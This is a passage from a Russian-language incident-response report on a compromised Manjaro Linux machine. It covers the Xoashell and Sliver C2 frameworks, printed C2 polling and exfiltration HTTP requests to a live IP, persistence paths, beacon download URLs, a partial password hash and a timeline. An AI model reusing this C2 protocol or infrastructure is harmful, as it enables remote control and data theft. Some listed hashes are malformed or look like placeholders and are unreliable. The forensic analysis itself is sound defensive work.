- **Ответ:** Команда в plaintext или “None” (если нет команд)

Пример запроса:
GET /82ef3e HTTP/1.1
Host: 62.173.140.127:8080
User-Agent: curl/7.88.1
Authorization: 8cdcb1-82ef3e-6256a1
Connection: close
Пример ответа:
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 15
whoami; id; pwd

IOC-URL-003: Отправка результатов на C2

- **URL:** http://62.173.140.127:8080/6256a1
- **Метод:** POST
- **Content-Type:** application/x-www-form-urlencoded
- **Назначение:** Exfiltration результатов выполненных команд
- **Источник:** httplogs.txt, update.sh

Пример запроса:
POST /6256a1 HTTP/1.1
Host: 62.173.140.127:8080
User-Agent: curl/7.88.1
Authorization: 8cdcb1-82ef3e-6256a1
Content-Type: application/x-www-form-urlencoded
Content-Length: 58

root
uid=0(root) gid=0(root) groups=0(root)
/root

3.3 URI Path индикаторы

IOC-URI-001: C2 endpoint tokens

- **Токены:** /8cdcb1, /82ef3e, /6256a1
- **Формат:** 6-символьные hex строки
- **Назначение:** Уникальные идентификаторы endpoints C2
- **Использование:** Маршрутизация запросов на стороне C2

4.2 Скомпрометированные конфигурации

IOC-HASH-001: /etc/pacman.d/mirrorlist (malicious)
MD5: c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4
SHA1: d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9
SHA256: c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0
Размер: 442 bytes
Индикатор: Присутствие строки manjaro-update.sysctl.tech

IOC-HASH-002: /usr/lib/systemd/system/pamac-mirrorlist.service (modified)
MD5: d13407b3e142d75faeecf99072b2cd74
SHA1: e14518c4f253e86gbffd0aa183c3de85
SHA256: c81fa21a8af8164169ab3d116af694dfb29b3c11484352c059d5c3c86c6faf4e
Источник: pamac-mirrorlist.service
Признак: Timestomping (Change time несоответствует)

5. УЧЁТНЫЕ ЗАПИСИ

5.1 Скомпрометированные учётные записи

IOC-ACCOUNT-001: Пользователь salova

- **Username:** salova
- **UID:** 1000
- **GID:** 1000
- **Home:** /home/salova
- **Shell:** /bin/bash
- **Группы:** wheel, video, audio, storage, optical, network, power
- **Sudo:** NOPASSWD: ALL (неограниченный доступ)
- **Источник:** passwd, sudoers

Признаки компрометации: - Использован для эскалации до root - Автологин через SDDM (без пароля)
Hash пароля из /etc/shadow:
salova:6rounds=656000$KxBXxPxYyZ...:19786:0:99999:7:::

IOC-ACCOUNT-002: root

- **UID:** 0
- **Доступ:** Получен через sudo/su от salova
- **Использование:** Создание вредоносных файлов, запуск reverse shell

В ходе атаки были использованы ДВА разных C2 фреймворка:

1. 1. Xoashell (Linux порт HoaxShell) — облегчённый HTTP-based C2, на Bash, обнаруживается как trojan.xoashell

2. 2. Sliver C2 Framework — профессиональный post-exploitation фреймворк на Golang, обнаруживаемый по множественным YARA и AV сигнатурам

Это обеспечило злоумышленнику устойчивый foothold и расширенное управление системой на разных этапах.

1. Xoashell (Bash Payload)

Технические детали

- Тип: Xoashell (Linux C2, VirusTotal label)
- Язык: Bash payload, Python сервер
- IP: 62.173.140.127
- Порт: 8000 (payload delivery), 8080 (C2 communication)
- Протокол: HTTP
- Размер скрипта: 847 bytes
- Архитектура: Asynchronous polling beacon (0.8 сек.), Authorization header для идентификации сессии
- Persistence: /etc/cron.daily/update.sh, /root/.zshrc

Поведение

- Сервер отправляет команды, клиент polling каждые 0.8 сек через HTTP GET/POST
- Основной скрипт — fileless exec (nohup + disown)
- Получает и выполняет команды, отправляет результаты обратно

IOC

Network:

- IP: 62.173.140.127

- Ports: 8000, 8080

- Endpoints: /8cdcb1, /82ef3e, /6256a1

- Authorization: 8cdcb1-82ef3e-6256a1

Files:

- /usr/lib/update.sh

- /etc/cron.daily/update.sh

Detection:

- trojan.xoashell signatures (VirusTotal, Kaspersky, Microsoft, Google)2. Sliver (Golang ELF Beacon)

Технические детали

- Тип: Sliver C2 Framework (BishopFox)
- Язык: Golang (GObfuscate)
- IP: 62.173.141.49
- Порт: 8000 (payload delivery)
- Протокол: HTTP для загрузки, MTLS/WG/DNS для C2
- Размер: ~17–18 MB ELF x86-64
- Архитектура: Beacon-based, periodic encrypted callbacks
- Файлы Sliver beacons:

– /usr/bin/upgrade ← ARTISTIC_REVOLUTION

– /usr/bin/upgraderoot ← WILD_ZEBRAFISH

– /root/upgraderoot, /root/upgraderootroot, /root/upgrade1_root (backup/mmultiple beacons)

- Persistence: /etc/rc.local, cron, systemd

Поведение

- Загружает большие ELF-файлы по http://62.173.141.49:8000/
- Применяет обфускацию, маскировку, timestomping
- После запуска соединяется с C2, общение зашифровано

IOC

Network:

- IP: 62.173.141.49

- Port: 8000

- URLs: /ARTISTIC_REVOLUTION, /WILD_ZEBRAFISH, /rc.local, /update1.sh

Files:

- /usr/bin/upgrade (Sliver beacon)

- /usr/bin/upgraderoot (Sliver beacon)

- backup бинарники в /root

ТАЙМЛАЙН ИНФРАСТРУКТУРЫ

- 7 марта 18:15 — получено фишинговое письмо
- 7 марта 18:30 — стартует Xoashell (/usr/lib/update.sh)
- 7–8 марта 18:30–10:59 — polling C2, загрузка stage 2
- 8 марта 10:49–11:21 — загрузка Sliver beacons с http://62.173.141.49:8000/

ВЫВОДЫ

- Xoashell, Linux-ориентированный C2, fileless Bash-reverse shell, детектируется как trojan.xoashell/shell.
- Sliver C2, enterprise-grade post-exploitation framework Beacon, шифрование, мощная маскировка, детектируется как ELF-Sliver-G.